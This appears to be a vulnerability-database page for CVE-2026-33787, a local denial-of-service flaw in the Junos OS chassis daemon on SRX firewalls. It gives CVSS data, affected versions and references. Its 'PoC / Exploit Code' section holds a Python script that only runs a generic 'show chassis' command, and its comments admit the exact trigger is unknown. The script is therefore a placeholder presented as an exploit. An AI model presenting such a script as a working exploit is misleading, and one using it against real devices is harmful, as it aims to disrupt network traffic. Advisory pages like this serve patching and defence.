CVE-2026-33787

Description

An Improper Check for Unusual or Exceptional Conditions vulnerability in the chassis control daemon (chassisd) of Juniper Networks Junos OS on SRX1500, SRX4100, SRX4200 and SRX4600 allows a local attacker with low privileges to cause a complete Denial of Service (DoS). When a specific 'show chassis' CLI command is executed, chassisd crashes and restarts which causes a momentary impact to all traffic until all modules are online again. This issue affects Junos OS on SRX1500, SRX4100, SRX4200 and SRX4600: * 23.2 versions before 23.2R2-S6, * 23.4 versions before 23.4R2-S7 * 24.2 versions before 24.2R2-S2, * 24.4 versions before 24.4R2, * 25.2 versions before 25.2R1-S1, 25.2R2.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:juniper:junos:23.2:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:juniper:junos:23.2:r1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:juniper:junos:23.2:r1-s1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:juniper:junos:23.2:r1-s2:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:juniper:junos:23.2:r2:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:juniper:srx1500:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:juniper:srx4100:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:juniper:srx4200:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:juniper:srx4600:-:*:*:*:*:*:*:* - NOT VULNERABLE

Junos OS 23.2 versions before 23.2R2-S6

Junos OS 23.4 versions before 23.4R2-S7

Junos OS 24.2 versions before 24.2R2-S2

Junos OS 24.4 versions before 24.4R2

Junos OS 25.2 versions before 25.2R1-S1, 25.2R2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# PoC for CVE-2026-33787
# Description: Triggers a Denial of Service in Junos OS chassisd via specific CLI command.
# Requirements: Local low-privileged access to the target device.

import subprocess
import sys

def trigger_dos():
    print("[*] Attempting to trigger CVE-2026-33787...")
    
    # The vulnerability is triggered by executing a specific 'show chassis' command.
    # Due to the Improper Check for Unusual or Exceptional Conditions,
    # this command causes the chassisd daemon to crash and restart.
    
    # Note: Replace with the exact command syntax if disclosed specifically.
    # Here we simulate the execution of the problematic CLI command.
    target_command = "cli show chassis" 
    
    try:
        # Execute the command on the local system
        print(f"[*] Executing: {target_command}")
        process = subprocess.Popen(target_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        stdout, stderr = process.communicate()
        
        # The exploit occurs upon execution, crashing the daemon.
        print("[+] Command executed. If the device is vulnerable, chassisd should crash/restart causing DoS.")
        
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    trigger_dos()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33787
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33787
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33787/
[4] VulDB https://vuldb.com/cve/CVE-2026-33787
[5] https://kb.juniper.net/JSA107873

Raw JSON Data

JSON

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